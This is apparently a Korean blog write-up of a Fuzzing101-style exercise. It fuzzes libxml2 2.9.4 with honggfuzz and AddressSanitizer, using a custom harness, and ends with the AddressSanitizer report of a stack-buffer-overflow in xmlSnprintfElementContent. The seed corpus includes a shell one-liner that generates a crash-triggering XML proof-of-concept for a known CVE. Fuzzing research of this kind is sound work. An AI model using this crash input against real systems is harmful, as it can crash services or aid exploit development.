기존에 AFLplusplus 로는 libxml2 에서 크래시를 제대로 탐지하지 못했습니다. 그래서 honggfuzz 를 이용하여 다시 퍼징을 시도하게 되었습니다.
sudo apt-get update
sudo apt-get install binutils-dev
sudo apt-get install libunwind-dev
git clone https://github.com/google/honggfuzz.git
cd honggfuzz
sudo make install
cd $HOME
mkdir Fuzzing_libxml2 && cd Fuzzing_libxml2
wget http://xmlsoft.org/download/libxml2-2.9.4.tar.gz
tar xvf libxml2-2.9.4.tar.gz && cd libxml2-2.9.4/
sudo apt-get install python-dev
CC=hfuzz-clang CXX=hfuzz-clang++ CFLAGS="-fsanitize=address" CXXFLAGS="-fsanitize=address" LDFLAGS="-fsanitize=address" ./configure --prefix="$HOME/Fuzzing_libxml2/libxml2-2.9.4/install" --disable-shared --without-debug --without-ftp --without-http --without-legacy --without-python LIBS='-ldl'
make -j$(nproc)
make install
./xmllint --memory ./test/wml.xml
<?xml version="1.0"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN" "http://www.wapforum.org/DTD/wml_1.1.xml">
<wml>
<card id="card1" title="Rubriques 75008">
<p>
<a href="rubmenu.asp?CP=75008&RB=01">Cinéma</a><br/>
</p>
</card>
</wml>
mkdir corpus && cd corpus
s=$(printf "%-757s" "0")
t=$(printf "%-4924s" "0")
echo '<!DOCTYPEa[<!ELEMENT a (F'"${s// /0}:${t// /0}"')><!ATTLIST a><!ELEMENT b EMPTY><!ATTLIST b s CDATA #IMPLIED>]><a/>' > bug1.xml
cd ..
기존에는 Fuzzing101에서 제공하는 기본 Seed 파일을 사용하였는데, Null Pointer Exception 만 탐지될 뿐 Stack Overflow 는 탐지되지 않았습니다.
그래서 Seed 파일에 해당 CVE의 크래시 파일을 추가해줬습니다.
mkdir dictionaries && cd dictionaries
wget https://raw.githubusercontent.com/AFLplusplus/AFLplusplus/stable/dictionaries/xml.dict
cd ..
#ifdef __cplusplus
extern "C"
{
#endif
#include <inttypes.h>
#include "libxml.h"
#include "libxml/relaxng.h"
#include "libxml/xmlerror.h"
#include <stdlib.h>
#include <libhfuzz/libhfuzz.h>
int LLVMFuzzerTestOneInput(const uint8_t *buf, size_t len)
{
xmlDocPtr doc;
int options = XML_PARSE_NOENT | XML_PARSE_DTDLOAD | XML_PARSE_DTDATTR |
XML_PARSE_DTDVALID | XML_PARSE_HUGE | XML_PARSE_IGNORE_ENC |
XML_PARSE_XINCLUDE | XML_PARSE_NOCDATA;
doc = xmlReadMemory((const char *)buf, len, "fuzz.xml", "UTF-8",
options);
if (doc)
{
xmlFreeDoc(doc);
}
return 0;
}
#ifdef __cplusplus
}
#endif
hfuzz-clang -fsanitize=address -I/home/ion/Fuzzing_libxml2/libxml2-2.9.4/include -L/home/ion/Fuzzing_libxml2/libxml2-2.9.4/install/lib -o fuzz_libxml2 fuzz_libxml2.c -lxml2 -lz -llzma
honggfuzz -i ./corpus -o hongfuzz_out --dict ./dictionaries/xml.dict --threads 8 -- ./fuzz_libxml2 ___FILE___

'SIGABRT.PC.4808bb.STACK.1afc1ae315.CODE.-6.ADDR.0.INSTR.lea____-0x858(%rbp),%rdx.fuzz'
'SIGABRT.PC.4808bb.STACK.eb51c7ad8.CODE.-6.ADDR.0.INSTR.lea____-0x858(%rbp),%rdx.fuzz'
❯ ./xmllint --noent --loaddtd --dtdattr --valid --huge --noenc --xinclude --nocdata SIGABRT.PC.4808bb.STACK.eb51c7ad8.CODE.-6.ADDR.0.INSTR.lea____-0x858\(%rbp\),%rdx.fuzz
=================================================================
==49334==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffcac065d28 at pc 0x00000048078b bp 0x7ffcac0642f0 sp 0x7ffcac063a98
WRITE of size 2785 at 0x7ffcac065d28 thread T0
#0 0x48078a in strcat (/home/ion/Fuzzing_libxml2/libxml2-2.9.4/xmllint+0x48078a)
#1 0x6ddc9e in xmlSnprintfElementContent (/home/ion/Fuzzing_libxml2/libxml2-2.9.4/xmllint+0x6ddc9e)
#2 0x6de6a9 in xmlSnprintfElementContent (/home/ion/Fuzzing_libxml2/libxml2-2.9.4/xmllint+0x6de6a9)
#3 0x70b15c in xmlValidateElementContent (/home/ion/Fuzzing_libxml2/libxml2-2.9.4/xmllint+0x70b15c)
#4 0x707bd4 in xmlValidateOneElement (/home/ion/Fuzzing_libxml2/libxml2-2.9.4/xmllint+0x707bd4)
#5 0xb25b00 in xmlSAX2EndElementNs (/home/ion/Fuzzing_libxml2/libxml2-2.9.4/xmllint+0xb25b00)
#6 0x5c8da9 in xmlParseElement (/home/ion/Fuzzing_libxml2/libxml2-2.9.4/xmllint+0x5c8da9)
#7 0x5e4e0f in xmlParseDocument (/home/ion/Fuzzing_libxml2/libxml2-2.9.4/xmllint+0x5e4e0f)
#8 0x615102 in xmlDoRead (/home/ion/Fuzzing_libxml2/libxml2-2.9.4/xmllint+0x615102)
#9 0x615cf0 in xmlCtxtReadFile (/home/ion/Fuzzing_libxml2/libxml2-2.9.4/xmllint+0x615cf0)
#10 0x4d4170 in parseAndPrintFile (/home/ion/Fuzzing_libxml2/libxml2-2.9.4/xmllint+0x4d4170)
#11 0x4cc68e in main (/home/ion/Fuzzing_libxml2/libxml2-2.9.4/xmllint+0x4cc68e)
#12 0x7fb64d801082 in __libc_start_main /build/glibc-LcI20x/glibc-2.31/csu/../csu/libc-start.c:308:16
#13 0x41c99d in _start (/home/ion/Fuzzing_libxml2/libxml2-2.9.4/xmllint+0x41c99d)
Address 0x7ffcac065d28 is located in stack of thread T0 at offset 5128 in frame
#0 0x70a00f in xmlValidateElementContent (/home/ion/Fuzzing_libxml2/libxml2-2.9.4/xmllint+0x70a00f)
This frame has 3 object(s):
[32, 82) 'fn'
[128, 5128) 'expr'
[5392, 10392) 'list' <== Memory access at offset 5128 partially underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/ion/Fuzzing_libxml2/libxml2-2.9.4/xmllint+0x48078a) in strcat
Shadow bytes around the buggy address:
0x100015804b50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100015804b60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100015804b70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100015804b80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100015804b90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x100015804ba0: 00 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
0x100015804bb0: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
0x100015804bc0: f2 f2 f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00
0x100015804bd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100015804be0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100015804bf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==49334==ABORTING
xmlSnprintfElementContent 함수에서 Stack-Buffer-Overflow 버그를 발견하였습니다.크래시를 발견한게 seed 의 영향인지 harness + honggfuzz 의 영향인지는 삽질을 좀 더 해봐야 알 수 있지만, Fuzzing101 은 크래시 재현이 너무 힘든거 같습니다.